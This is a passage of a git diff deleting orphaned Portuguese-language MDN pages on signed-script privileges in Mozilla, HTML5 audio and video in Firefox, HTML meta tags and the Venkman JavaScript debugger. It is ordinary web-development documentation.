- document.write(i + ": habilitado&lt;br&gt;");
- }
- } catch (e) {
- document.write(i + ": desabilitado&lt;br&gt;");
- }
-}
-
-function a() {
- mostraPrivilegios(5);
-}
-
-function b() {
- mostraPrivilegios(3);
- netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
- mostraPrivilegios(4);
- a();
- mostraPrivilegios(6);
-}
-
-function c() {
- mostraPrivilegios(2);
- b();
- mostraPrivilegios(7);
-}
-
-mostraPrivilegios(1);
-c();
-mostraPrivilegios(8);
-</pre>
-<p>Este exemplo exibe o seguinte resultado:
-</p>
-<pre>1: desabilitado
-2: desabilitado
-3: desabilitado
-4: habilitado
-5: habilitado
-6: habilitado
-7: desabilitado
-8: desabilitado
-</pre>
-<h3 id="Privil.C3.A9gios" name="Privil.C3.A9gios"> Privilégios </h3>
-<dl><dt> UniversalBrowserRead
-</dt><dd> Leitura de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao ler de qualquer documento.
-</dd></dl>
-<dl><dt> UniversalBrowserWrite
-</dt><dd> Modificação de dados sensíveis do browser. Isto permite que o certificado passe a verificação da mesma origem ao escrever em qualquer documento.
-</dd></dl>
-<dl><dt> UniversalXPConnect
-</dt><dd> Acesso irrestrito às APIs do browser usando XPConnect.
-</dd></dl>
-<dl><dt> UniversalPreferencesRead
-</dt><dd> Ler preferências usando o método <code>navigator.preference</code>.
-</dd></dl>
-<dl><dt> UniversalPreferencesWrite
-</dt><dd> Ajustar preferências usando o método <code>navigator.preference</code>.
-</dd></dl>
-<dl><dt> CapabilityPreferencesAccess
-</dt><dd> Ler e ajustar as preferências que definem políticas de segurança, incluindo que privilégios foram concedidos e negados aos scripts. Você também necessita de <code>UniversalPreferencesRead</code> e <code>UniversalPreferencesWrite</code>.
-</dd></dl>
-<dl><dt> UniversalFileRead
-</dt><dd> Uso do método <code>window.open</code> com URLs <code><a class=" external" rel="freelink">file://</a></code> e permite que o browser faça upload de arquivos usando <code>&lt;input type="file"&gt;</code>.
-</dd></dl>
-<p><i><b>Nota:</b> Este artigo, bem como seu exemplo, foi baseado no artigo <a class="external" href="http://www.mozilla.org/projects/security/components/signed-scripts.html">Signed Scripts in Mozilla</a>, porém, conta com atualizações para conformidade no uso de navegadores atuais.</i>
-</p>
-<div class="originaldocinfo">
-<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original"> Informações Sobre o Documento Original </h3>
-<ul><li> Autor: <a>Leandro Mercês Xavier</a>
-</li><li> Última Atualização: 16/11/2006
-</li><li> Informações sobre Copyright: Este artigo está disponível sob os termos da <a class="external" href="http://creativecommons.org/licenses/by-sa/2.5/br/">Creative Commons Atribuição-Compartilhamento pela mesma licença 2.5 Brasil</a>
-</li></ul>
-</div>
-<p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>
diff --git a/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html b/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html
deleted file mode 100644
index 7f8f2af85d..0000000000
--- a/files/pt-pt/orphaned/usando_áudio_e_vídeo_no_firefox/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: Usando_áudio_e_vídeo_no_Firefox
-slug: orphaned/Usando_áudio_e_vídeo_no_Firefox
-original_slug: Usando_áudio_e_vídeo_no_Firefox
----
-<p>{{ gecko_minversion_header("1.9.1") }}</p>
-<p>O Firefox 3.5 introduz suporte para os elementos <a class="internal" href="/Pt/HTML/Elemento/Audio" title="Pt/HTML/Elemento/Audio"><span class="internal"><code>audio</code></span></a> e <a class="internal" href="/Pt/HTML/Elemento/Video" title="Pt/HTML/Elemento/Video"><code>video</code></a> do HTML 5, oferecendo a capacidade de facilmente embutir mídia em documentos HTML. Atualmente são suportados os formatos de mídia Ogg Theora, Ogg Vorbis e WAV.</p>
-<h2 id="Embutindo_mídia">Embutindo mídia</h2>
-<p>Embutir mídia no seu documento HTML é simples:</p>
-<pre class="brush: html">&lt;video src="http://v2v.cc/~j/theora_testsuite/320x240.ogg" autoplay&gt;
-  Your browser does not support the &lt;code&gt;video&lt;/code&gt; element.
-&lt;/video&gt;
-</pre>
-<p>Este exemplo roda um video de amostra do web site Theora, por exemplo.</p>
-<p>Múltiplos arquivos fonte podem ser especificados usando o elemento <a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> (en) a fim de proporcionar vídeo/áudio codificados em diferentes formatos para diferentes navegadores. Por exemplo:</p>
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="foo.ogg" type="video/ogg"&gt;
- &lt;source src="foo.mp4"&gt;
- Your browser does not support the &lt;code&gt;video&lt;/code&gt; element.
-&lt;/video&gt;
-</pre>
-<p>tocará um arquivo Ogg em navegadores que suportem o formato Ogg. Se o navegador não suportar Ogg, ele tentará usar o arquivo MPEG-4.</p>
-<p>Você pode também especificar quais codecs de mídia o arquivo requere; isto permite ao navegador, tomar decisões cada vez mais inteligentes:</p>
-<pre class="brush: html">&lt;video controls&gt;
- &lt;source src="foo.ogg" type="video/ogg; codecs=&amp;quot;dirac, speex&amp;quot;"&gt;
- Your browser does not support the &lt;code&gt;video&lt;/code&gt; element.
-&lt;/video&gt;</pre>
-<p>Aqui nós especificamos que o vídeo usa os codecs Dirac e Speex. Se o navegador suportar Ogg, mas não os codecs especificados, o vídeo não será carregado.</p>
-<p>Se o atributo <code>type</code> não for especificado, o tipo da mídia é obtido pelo servidor e checado para ver se o Gecko pode lidar com ele; se ele não puder ser renderizado, a próxima fonte é checada. Se nenhum dos elementos <span style="font-family: monospace;">source</span> especificados puder ser usado, um evento <code>error</code> é expedido para o elemento <code>video</code>. Se o atributo <code>type</code> é especificado, ele é comparado com os tipos que o Gecko pode tocar, e se não for reconhecido, o servidor não é nem mesmo requisitado; ao invés disso, a próxima fonte é checada uma vez.</p>
-<h2 id="Controlando_a_reprodução_de_mídia">Controlando a reprodução de mídia</h2>
-<p>Uma vez que você tenha adicionado mídia no seu documento HTML, usando os novos elementos, você pode controlá-la programaticamente através do seu código JavaScript. Por exemplo, para começar (ou recomeçar) uma reprodução, você pode fazer isto:</p>
-<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
-v.play();
-</pre>
-<p>A primeira linha busca o elemento video no documento e a segundo chama o método <a class="external" href="/En/NsIDOMHTMLMediaElement#play()" title="https://developer.mozilla.org/editor/fckeditor/core/editor/En/NsIDOMHTMLMediaElement#play()"><code>play()</code></a> do elemento, como definido na interface {{ interface("nsIDOMHTMLMediaElement") }} que é usada para implementar elementos de mídia.</p>
-<h2 id="Eventos_de_mídia">Eventos de mídia</h2>
-<p>Diversos eventos são enviados durante o manuseio de mídia:</p>
-<table class="standard-table"> <tbody> <tr> <td class="header">Nome do evento</td> <td class="header">Descrição</td> </tr> <tr> <td><code>abort</code></td> <td>Enviado quando a reprodução é abortada; por exemplo, se a mídia estiver tocando e for reiniciada, este evento é enviado.</td> </tr> <tr> <td><code>canplay</code></td> <td>Enviado quando há dados suficientes disponíveis para que a mídia seja tocada, ao menos por alguns quadros. Corresponde ao <code>CAN_PLAY</code> <code>readyState</code>.</td> </tr> <tr> <td><code>canplaythrough</code></td> <td>Enviado quando o estado pronto muda para <code>CAN_PLAY_THROUGH</code>, indicando que a mídia inteira pode ser tocada sem interrupção, assumindo que a taxa de download permaneça ao menos no nível atual.</td> </tr> <tr> <td><code>canshowcurrentframe</code></td> <td>O quadro atual carregou e pode ser apresentado. Isto corresponde ao <code>CAN_SHOW_CURRENT_FRAME</code> <code>readyState</code>.</td> </tr> <tr> <td><code>dataunavailable</code></td> <td>Enviado quando o estado pronto muda para <code>DATA_UNAVAILABLE</code>.</td> </tr> <tr> <td><code>durationchange</code></td> <td>Os metadados foram carregados ou modificados, indicando uma mudança na duração da mídia. Isto é enviado, por exemplo, quando a mídia carregou o suficiente para se saber a sua duração.</td> </tr> <tr> <td><code>emptied</code></td> <td>A mídia torna-se vazia; por exemplo, este evento é enviado se a mídia já foi carregada (ou parcialmente carregada), e o método <a class="internal" href="/En/nsIDOMMediaHTMLElement#load()" title="En/nsIDOMMediaHTMLElement#load()"><code>load()</code></a> é chamado para recarregar isto.</td> </tr> <tr> <td><code>empty</code></td> <td>Enviado quando um erro ocorre e a mídia está vazia.</td> </tr> <tr> <td><code>ended</code></td> <td>Enviado quando a reprodução termina.</td> </tr> <tr> <td><code>error</code></td> <td>Enviado quando um erro ocorre. O atributo <code>error</code> do elemento contém mais informações.</td> </tr> <tr> <td><code>load</code></td> <td>A mídia foi completamente obtida.</td> </tr> <tr> <td><code>loadedfirstframe</code></td> <td>O primeiro quadro de mídia terminou de carregar.</td> </tr> <tr> <td><code>loadedmetadata</code></td> <td>Os metadados da mídia terminaram seu carregamento; todos os atributos agora contém toda a informação que poderiam ter.</td> </tr> <tr> <td><code>loadstart</code></td> <td>Enviado quando o carregamento da mídia inicia.</td> </tr> <tr> <td><code>pause</code></td> <td>Enviado quando a reprodução é pausada.</td> </tr> <tr> <td><code>play</code></td> <td>Enviado quando a reprodução começa ou continua.</td> </tr> <tr> <td><code>ratechange</code></td> <td>Enviado quando a velocidade da reprodução muda.</td> </tr> <tr> <td><code>seeked</code></td> <td>Enviado quando uma operação solicitada se completa.</td> </tr> <tr> <td><code>seeking</code></td> <td>Enviado quando uma operação solicitada começa.</td> </tr> <tr> <td><code>timeupdate</code></td> <td>O tempo indicado pelo atributo <code>currentTime</code> do elemento mudou.</td> </tr> <tr> <td><code>volumechange</code></td> <td>Enviado quando o volume do áudio muda (tanto quando o volume é configurado, quando o atributo <code>muted</code> é mudado).</td> </tr> <tr> <td><code>waiting</code></td> <td>Enviado quando a operação requisitada (como a reprodução) é adiada até que se complete outra operação (como uma solicitação).</td> </tr> </tbody>
-</table>
-<p>Você pode facilmente assistir a estes eventos usando o seguinte código:</p>
-<pre>var v = document.getElementsByTagName("video")[0];
-
-v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
-v.currentTime = 10.0;
-</pre>
-<p>Este exemplo busca o primeiro elemento video no documento e anexa um evento <strong>listener</strong> a ele, olhando para o evento solicitado, que é enviado sempre que uma operação solicitada é completada. O <strong>listener</strong> simplesmente pede ao método <code>play()</code> do elemento, que inicia a reprodução.</p>
-<p>Então, na linha 4, o exemplo configura o atributo <code>currentTime</code> do elemento para 10.0, o que inicia uma operação de solicitação até a marca de 10 segundos na mídia. Isto causa o envio de um evento <code>seeking</code> quando a operação começa, então um evento <code>seeked</code> é expedido quando a solicitação é completada.</p>
-<p>Em outras palavras, este exemplo solicita até os 10 segundos da marca na mídia, e então começa a reprodução assim que a solicitação é finalizada.</p>
-<h2 id="Opções_de_fallback">Opções de fallback</h2>
-<p>O código HTML incluído entre, por exemplo, as tagas <code>&lt;video&gt;</code> e <code>&lt;/video&gt;</code> é processado por navegadores que não suportam o elemento <code>media</code> do HTML 5. Você pode tirar vantagem deste fato para proporcionar um <strong>fallback</strong> de mídia alternativa para estes navegadores.</p>
-<p>Esta seção proporciona duas possíveis opções de <strong>fallback</strong> para vídeo. Em cada caso, se o navegador suportar o elemento <code>video</code> do HTML 5, este será usado; caso contrário, a opção <strong>fallback</strong> será usada.</p>
-<h3 id="Usando_Flash">Usando Flash</h3>
-<p>Você pode usar o Flash para tocar um filme em formato Flash se o elemento <code>video</code> não for suportado:</p>
-<pre class="brush: html">&lt;video src="video.ogv" controls&gt;
- &lt;object data="flvplayer.swf" type="application/x-shockwave-flash"&gt;
- &lt;param value="flvplayer.swf" name="movie"/&gt;
- &lt;/object&gt;
-&lt;/video&gt;
-</pre>
-<p>Note que você não inclui <code>class</code> ou<code> id</code> na tag <code>object</code> para que seja compatível com outros navegadores além do Internet Explorer.</p>
-<h3 id="Tocando_vídeos_Ogg_usando_um_miniaplicativo_Java">Tocando vídeos Ogg usando um miniaplicativo Java</h3>
-<p>Aqui está um miniaplicativo Java chamado <a class="external" href="http://maikmerten.livejournal.com/2256.html" title="http://maikmerten.livejournal.com/2256.html">Cortado</a> que você pode usar como <strong>fallback</strong> para tocar vídeos Ogg em navegadores que tenham suporte a Java, mas não ao elemento <code>video do HTML 5<span style="font-family: Verdana,Tahoma,sans-serif;">:</span></code></p>
-<pre class="brush: html">&lt;video src="my_ogg_video.ogg" controls width="320" height="240"&gt;
- &lt;object type="application/x-java-applet"
- width="320" height="240"&gt;
- &lt;param name="archive" value="cortado.jar"&gt;
- &lt;param name="code" value="com.fluendo.player.Cortado.class"&gt;
- &lt;param name="url" value="my_ogg_video.ogg"&gt;
- &lt;/object&gt;
-&lt;/video&gt;
-</pre>
-<h2 id="Veja_também">Veja também</h2>
-<ul> <li><a class="internal" href="/Pt/HTML/Elemento/Audio" title="Pt/HTML/Elemento/Audio"><code>audio</code></a></li> <li><a class="internal" href="/Pt/HTML/Elemento/Video" title="Pt/HTML/Elemento/Video"><code>video</code></a></li> <li><a class="internal" href="/En/HTML/Element/Source" title="En/HTML/Element/Source"><code>source</code></a> (EN)</li> <li><a class="internal" href="/En/Manipulating_video_using_canvas" title="En/Manipulating video using canvas">Manipulating video using canvas</a> (EN)</li> <li>{{ interface("nsIDOMHTMLMediaElement") }}</li> <li><a class="internal" href="/En/Media_formats_supported_by_the_audio_and_video_elements" title="En/Media formats supported by the audio and video elements">Media formats supported by the audio and video elements</a> (EN)</li>
-</ul>
-<p> {{ languages( { "en": "en/Using audio and video in Firefox", "fr": "fr/Utilisation_d'audio_et_video_dans_Firefox", "es": "es/Etiquetas audio y video en Firefox" } ) }}</p>
diff --git a/files/pt-pt/orphaned/utilizando_meta_tags/index.html b/files/pt-pt/orphaned/utilizando_meta_tags/index.html
deleted file mode 100644
index 9b44cc92dd..0000000000
--- a/files/pt-pt/orphaned/utilizando_meta_tags/index.html
+++ /dev/null
@@ -1,378 +0,0 @@
----
-title: Utilizando meta tags
-slug: orphaned/Utilizando_meta_tags
-tags:
- - HTML
- - Todas_as_Categorias
-original_slug: Utilizando_meta_tags
----
-<p> </p>
-
-<p>Meta dados incorporados ao código XHTML são, na verdade, estruturas de dados sobre os próprios dados, uma breve descrição do conteúdo da página, seu autor, data de criação, linguagem e outras informações relevantes.</p>
-
-<p>Alguns sistemas de busca dão aos conteúdos das meta tags uma forte ênfase no ranking dos sites, a maioria deles indexa os dados das meta tags description e keywords como sumários da página.</p>
-
-<p>Se estas tags forem usadas correta e racionalmente elas podem aumentar a relevância nos resultados de busca o que é vantajoso tanto para o proprietário do site quanto para seu usuário.</p>
-
-<h3 id="Pr.C3.B3s_e_Contras" name="Pr.C3.B3s_e_Contras">Prós e Contras</h3>
-
-<p>Como qualquer ferramenta, a utilização das meta tags tem seus prós e contras, vale ressaltar que o uso consciente de suas potencialidades pode praticamente anular seu lado negativo. Seguem algumas dicas:</p>
-
-<p><strong>Mantenha as meta tags simples e concisas</strong>: Descrições muito longas e palavras-chave em excesso serão ignoradas por alguns buscadores, inclusive, alguns deles indexam apenas as seis primeiras keywords. Sistemas de indexação podem também identificar o chamado "metatag spamming", onde as palavras-chave são repetidas várias vezes, penalizando, assim, o site em seu ranking.</p>
-
-<p><strong>Dê prioridade às palavras-chave mais importantes</strong>: Uma vez que alguns sistemas de indexação lêem somente algumas das keywords é importante listar as mais importantes primeiro.</p>
-
-<p><strong>Evite o uso da meta tag REFRESH para redirecionamento</strong>: Antigamente muito usada, hoje deve ser evitada, primeiramente porque ela tende a confundir os bancos de dados dos sistemas de indexação e depois porque confundem também ao usuário, especialmente os que porventura estejam navegando com leitores de tela.</p>
-
-<p><strong>Não abuse das meta tags</strong>: Meta tags fornecem informações usadas para categorizar, priorizar e rankear websites além de controlar seu conteúdo pelos webmasters e/ou autores, mas este privilégio não deve ser abusado. Como dito anteriormente muitos sistemas de indexação são "inteligentes" o suficientes para perceber quando há este tipo de abuso, penalizando o site em sua colocação no ranking.</p>
-
-<p><strong>Para o Google, elas não existem</strong>! Devido à grande quatidade de "metatag spamming" o robô de busca do Google foi programado para ignorá-las! Ele indexa parte do conteúdo da própria página em seu banco de dados ao invés da "description".</p>
-
-<h3 id="Tipos_de_meta_tags" name="Tipos_de_meta_tags">Tipos de meta tags</h3>
-
-<h4 id="HTTP-EQUIV" name="HTTP-EQUIV">HTTP-EQUIV</h4>
-
-<p>Meta tags com o atributto HTTP-Equiv são equivalentes aos cabeçalhos http. Normalmente elas controlam as ações dos browsers e podem ser usadas para melhor especificar as informações.</p>
-
-<p>Tags usadas desta forma têm um efeito equivalente quando sendo usadas como um cabeçalho HTTP.</p>
-
-<p>Nota: Enquanto este tipo de meta tags funciona normalmente no Netscape, outros browsers podem ignorá-las. Elas também são ignoradas por servidores proxy, que vêm se tornando muito comuns. É mais recomendável usar o cabeçalho HTTP equivalente, como, por exemplo, do Apache.</p>
-
-<p>Os cabeçalhos HTTP são definidos em</p>
-
-<p><a class="external" href="http://www.alternic.org/rfcs/rfc1900/rfc1945.txt">HTTP 1.0</a> e <a class="external" href="http://www.alternic.org/rfcs/rfc2000/rfc2068.txt">HTTP 1.1</a></p>
-
-<p>Estes cabeçalhos podem ser gerados por scripts CGI e no Apache usando um arquivo contendo meta dados.</p>
-
-<h4 id="Name" name="Name">Name</h4>
-
-<p>Meta tags com o atributo "name" são usadas para tipos que não correspondem a cabeçalhos HTTP. Muitas vezes esta distinção é ignorada. Por exemplo, alguns buscadores reconhecem a meta tag "Keywords" com o tipo "http-equiv", outros com o tipo "name".</p>
-
-<h4 id="Dublin_Core" name="Dublin_Core">Dublin Core</h4>
-
-<p>Com o objetivo de melhorar a indexação das páginas pelos motores de busca, muitos grupos de desenvolvedores acabam criando sua própria "liguagem de metatags", a mais popular delas pertence ao projeto Dublin Core iniciado em 1995 buscando, segundo organizadores, mais flexibilidade para os autores.</p>
-
-<p>Site oficial do projeto: <a class="external" href="http://www.dublincore.org" rel="freelink">http://www.dublincore.org</a></p>
-
-<h3 id="Lista_de_Metatags.2C_atributos_e_especifica.C3.A7.C3.B5es" name="Lista_de_Metatags.2C_atributos_e_especifica.C3.A7.C3.B5es">Lista de Metatags, atributos e especificações</h3>
-
-<p>Apesar de todo o alvoroço existente em torno dos meta dados, muitas pessoas ainda não tem um conhecimento adequado da maioria dos recursos que estas ferramentas proporcionam, abaixo segue uma lista das principais meta tags, seus valores e funcionalidades.</p>
-
-<p><strong>Nota</strong>: As palavras-chave "http-equiv", "name" e "content" são case-insensitive, assim como seus valores, mas segundo as especificações do XHTML, todo o código deve ser em letras minúsculas.</p>
-
-<h4 id="Author" name="Author">Author</h4>
-
-<p>O nome do autor da página.</p>
-
-<pre>&lt;meta name="author" content="André" /&gt;
-</pre>
-
-<h4 id="Cache-Control" name="Cache-Control">Cache-Control</h4>
-
-<p>Esta tag é apenas reconhecida pelo http 1.1 e permite os seguintes valores:</p>
-
-<ul>
- <li>Public: Os dados da página podem ser armazenados de forma compartilhada, isto é, será utilizado por diferentes usuários de um mesmo browser (Notar que só é possível especificar usuários de browser no Firefox e Opera).</li>
-</ul>
-
-<ul>
- <li>Private: É o contrário de public, o cache é armazenado para um específico usuário.</li>
-</ul>
-
-<ul>
- <li>No-Cache: A página não é armazenada em Cache.</li>
-</ul>
-
-<ul>
- <li>No-Store: É feito um cache temporário, a página não é arquivada.</li>
-</ul>
-
-<p><strong>Nota</strong>: A diretiva "cache-control:no-cache" tem a mesma função de "pragma:no-cache". O ideal quando se usa essa instrução é utilizar ambas as formas caso não se saiba se o servidor é ou não compatível com o HTTP 1.1.</p>
-
-<pre>&lt;meta http-equiv="cache-control" content="no-cache" /&gt;
-</pre>
-
-<h4 id="Content-language" name="Content-language">Content-language</h4>
-
-<p>Declara a(s) linguagem(ns) natural(is) do documento. Pode ser usada pelos motores de busca para categorizar por idioma.</p>
-
-<pre>&lt;meta http-equiv="content-language" content="pt-br, en-US, fr" /&gt;
-</pre>
-
-<ul>
- <li>Content-type: Define o tipo de conteúdo da página e o tipo de codificação de caracteres. Pode-se dizer que é a meta tag mais importante, sempre deve ser usada.</li>
-</ul>
-
-<pre>&lt;meta http-equiv="content-type" content="text/html; charset=UTF-8" /&gt;
-</pre>
-
-<h4 id="CopyRight" name="CopyRight">CopyRight</h4>
-
-<p>Como o nome já diz declara o direito autoral da página.</p>
-
-<pre>&lt;meta name="copyright" content="© 2004 tex texin" /&gt;
-</pre>
-
-<h4 id="Description" name="Description">Description</h4>
-
-<p>Contém uma descrição da página</p>
-
-<pre>&lt;meta name="description" content="...resumo da página..." /&gt;
-</pre>
-
-<h4 id="Expires" name="Expires">Expires</h4>
-
-<p>A data e a hora depois dos quais o documento deve ser considerado como expirado. Uma data ilegal como, por exemplo "0" é considerada como "agora".</p>
-
-<p>Configurar "Expires" como "0" pode também ser usado para forçar uma nova checagem a cada visita do robô de busca.</p>
-
-<p><strong>Nota</strong>: Alguns robôs de busca podem deletar um documento de seu banco de dados ao encontrá-lo expirado, outros podem marcar uma revisita</p>
-
-<pre>&lt;meta http-equiv="expires" content = "Mon, 22 jul 2006 11:12:01 GMT" /&gt;
-</pre>
-
-<h4 id="Keywords" name="Keywords">Keywords</h4>
-
-<p>As keywords tipicamente são usadas por alguns motores de busca para indexar os documentos juntamente com informações encontradas em seu título e body.</p>
-
-<p>As frases ou palavras devem ser separadas por vírgulas.</p>
-
-<pre>&lt;meta name="keywords" content="..palavras-chave do documento" /&gt;
-</pre>
-
-<h4 id="Pragma_no-cache" name="Pragma_no-cache">Pragma no-cache</h4>
-
-<p>Faz com que o navegador não armazene a página em cache. Diferencia-se de "cache-control:no-cache" pelo fato de ser reconhecida por todas as versões do HTTP.</p>
-
-<pre>&lt;meta http-equiv="pragma" content="no-cache" /&gt;
-</pre>
-
-<h4 id="Refresh" name="Refresh">Refresh</h4>
-
-<p>Especifica um tempo em segundos para o browser atualizar a página, opcionalmente pode-se adicionar uma URL para a qual será redirecionado.</p>
-
-<pre>&lt;meta http-equiv="refresh" content="15;url=http://www.thechessman.org" /&gt;
-</pre>
-
-<h4 id="Robots" name="Robots">Robots</h4>
-
-<p>Especifica informações de indexação para os robôs de busca, suporta os seguintes valores:</p>
-
-<ul>
- <li>All: Valor default, significa vazio, o robô de busca não recebe nenhuma informação.</li>
-</ul>
-
-<ul>
- <li>Index: Os robôs de busca podem incluir a página normalmente.</li>
-</ul>
-
-<ul>
- <li>Follow: Robôs podem indexar a página e ainda seguir os links para outras páginas que ela contém.</li>
-</ul>
-
-<ul>
- <li>NoIndex:Os links podem ser seguidos, mas a página não é indexada.</li>
-</ul>
-
-<ul>
- <li>NoFollow: A página é indexada, mas os links não são seguidos.</li>
-</ul>
-
-<ul>
- <li>None: Os robôs podem ignorar a página.</li>
-</ul>
-
-<ul>
- <li>NoArchive (Apenas Google): A página não é arquivada.</li>
-</ul>
-
-<pre>&lt;meta name="robots" content="all" /&gt;
-</pre>
-
-<h4 id="GoogleBoot" name="GoogleBoot">GoogleBoot</h4>
-
-<p> </p>
-
-<p>Em adição com a meta tag "Robots", o Google suporta um commando "GoogleBoot". Dizendo ao google que não quer que a página seja indexada.</p>
-
-<p><strong>Nota</strong>: A página continuará a ser indexada pelos outros buscadores</p>
-
-<pre>&lt;meta name="googlebot" content="NoIndex" /&gt;
-</pre>
-
-<p> </p>
-
-<h4 id="Imagetoolbar" name="Imagetoolbar">Imagetoolbar</h4>
-
-<p>No internet explorer elimina aquela pequena barra de opções que aparece ao passarmos o mouse por cima de uma imagem</p>
-
-<pre>&lt;meta http-equiv="imagetoolbar" content="no" /&gt;
-</pre>
-
-<h4 id="Generator" name="Generator">Generator</h4>
-
-<p>Indica o software usado para criar a página como forma de medir a popularidade do produto.</p>
-
-<pre>&lt;meta name="generator" content="Dreamweaver 8" /&gt;
-</pre>
-
-<h4 id="Revisit-After" name="Revisit-After">Revisit-After</h4>
-
-<p>Diz para os servidores proxy refazer o cache da página depois de um tempo específico.</p>
-
-<p>Esta meta tag não faz com que os motores de busca voltem para sua página, eles fazem isso em períodos aleatórios.</p>
-
-<pre>&lt;meta name="revisit-after" content="15 days" /&gt;
-</pre>
-
-<h4 id="Rating" name="Rating">Rating</h4>
-
-<p>Esta tag funciona para classificar a página por censura, assim como no cinema, suporta os valores:</p>
-
-<ul>
- <li>General: Para qualquer idade</li>
-</ul>
-
-<ul>
- <li>14 years: Censura 14 anos</li>
-</ul>
-
-<ul>
- <li>Mature: Para pessoas acima de 18 anos</li>
-</ul>
-
-<pre>&lt;meta name="rating" content="general" /&gt;
-</pre>
-
-<h4 id="Content-Script-Type" name="Content-Script-Type">Content-Script-Type</h4>
-
-<p>Define o tipo padrão da linguagem de script do documento.</p>
-
-<pre>&lt;meta http-equiv="content-script-type" content="text/javascript" /&gt;
-</pre>
-
-<h4 id="Content-Style-Type" name="Content-Style-Type">Content-Style-Type</h4>
-
-<p>Define o tipo padrão de linguagem para estilização do documento.</p>
-
-<pre>&lt;meta http-equiv="content-style-type" content="text/css" /&gt;
-</pre>
-
-<h4 id="DC.title" name="DC.title">DC.title</h4>
-
-<p>Desempenha a mesma função da tag "title", e deve conter o mesmo valor.</p>
-
-<pre>&lt;meta name="DC.title" content="Mr.TheChessMan - Impressões Ideológicas" /&gt;
-</pre>
-
-<h4 id="DC.Creator" name="DC.Creator">DC.Creator</h4>
-
-<p>Tem o mesmo papel da meta tag "Author"</p>
-
-<pre>&lt;meta name="DC.creator " content="Gazola, André" /&gt;
-</pre>
-
-<h4 id="DC.Creator.adress" name="DC.Creator.adress">DC.Creator.adress</h4>
-
-<p>E-mail para contato com o autor da página.</p>
-
-<pre>&lt;meta name="DC.creator.address" content=mr.thechessman@gmail.com" /&gt;
-</pre>
-
-<h4 id="DC.Suject" name="DC.Suject">DC.Suject</h4>
-
-<p>Tem a mesma função da meta "Keywords".</p>
-
-<pre>&lt;meta name="DC.subject" content="metadata, metatags, dublin core,web design" /&gt;
-</pre>
-
-<h4 id="DC.Description" name="DC.Description">DC.Description</h4>
-
-<p>Tem a mesma função da meta "Description".</p>
-
-<pre>&lt;meta name="DC.description" content="..aqui vai a descrição da página.." /&gt;
-</pre>
-
-<h4 id="DC.Publisher" name="DC.Publisher">DC.Publisher</h4>
-
-<p>Nome da organização que é responsável pelo documento.</p>
-
-<pre>&lt;meta name="DC.publisher" content="Info Web Design" /&gt;
-</pre>
-
-<h4 id="DC.Custodian" name="DC.Custodian">DC.Custodian</h4>
-
-<p>Normalmente, o webmaster responsável pela página.</p>
-
-<pre>&lt;meta name="Custodian" content="Gazola, André" /&gt;
-</pre>
-
-<h4 id="DC.Date.Created" name="DC.Date.Created">DC.Date.Created</h4>
-
-<p>Data de criação da página no formato AAAA-MM-DD.</p>
-
-<pre>&lt;meta name="DC.date.created" content="2006-02-01" /&gt;
-</pre>
-
-<h4 id="DC.Date.Modified" name="DC.Date.Modified">DC.Date.Modified</h4>
-
-<p>Última data de modificação do documento, importante para buscas por data.</p>
-
-<pre>&lt;meta name="DC.date.modified" content="2006-02-01" /&gt;
-</pre>
-
-<h4 id="DC.Identifier" name="DC.Identifier">DC.Identifier</h4>
-
-<p>URL do documento.</p>
-
-<pre>&lt;meta name="DC.Identifier" content="http://www.thechessman.org"&gt;
-</pre>
-
-<h4 id="DC.Format" name="DC.Format">DC.Format</h4>
-
-<p>Especifica o tipo de dados contidos no documento.</p>
-
-<ul>
- <li>Text/html;</li>
-</ul>
-
-<ul>
- <li>Text/xml;</li>
-</ul>
-
-<ul>
- <li>Text/html;</li>
-</ul>
-
-<ul>
- <li>Image/jpg;</li>
-</ul>
-
-<ul>
- <li>Image/gif;</li>
-</ul>
-
-<ul>
- <li>Video/quicktime;</li>
-</ul>
-
-<pre>&lt;meta name="DC.format" content="text/xhtml" /&gt;
-</pre>
-
-<h4 id="DC.Type" name="DC.Type">DC.Type</h4>
-
-<p>Text, Home Page, menu, image, vídeo, dados, software ou sound são alguns dos valores suportados.</p>
-
-<pre>&lt;meta name="DC.type" content="text.homepage.institucional" /&gt;
-</pre>
-
-<div class="originaldocinfo">
-<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original">Informações Sobre o Documento Original</h3>
-
-<ul>
- <li>Autor: <a>AndreGazola</a></li>
- <li>E-mail: <a class="link-mailto" href="mailto:mr.thechessman@gmail.com" rel="freelink">mr.thechessman@gmail.com</a></li>
- <li>Data de atualização: 21/08/2006</li>
- <li>Informações de Copyright: <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.5/br/">Alguns direitos reservados</a></li>
-</ul>
-</div>
diff --git a/files/pt-pt/orphaned/venkman/index.html b/files/pt-pt/orphaned/venkman/index.html
deleted file mode 100644
index adb530d1a3..0000000000
--- a/files/pt-pt/orphaned/venkman/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Venkman
-slug: orphaned/Venkman
-tags:
- - Desenvolvimento_Web
- - Desenvolvimento_Web:Ferramentas
- - Extensões:Ferramentas
- - Ferramentas
- - JavaScript
- - JavaScript:Ferramentas
- - Todas_as_Categorias
- - Venkman
-original_slug: Venkman
----
-<p> </p>
-
-<p>Venkman é um depurar JavaScript baseado no Mozilla.</p>
-
-<h3 id="Artigos_no_MDC_sobre_Venkman" name="Artigos_no_MDC_sobre_Venkman">Artigos no MDC sobre Venkman</h3>
-
-<ul>
- <li><a href="/en/Venkman_Introduction">en:Venkman Introduction</a></li>
- <li><a href="/en/Using_Breakpoints_in_Venkman">en:Using Breakpoints in Venkman</a></li>
- <li><a href="/en/Venkman_Internals">en:Venkman Internals</a></li>
-</ul>
-
-<ul>
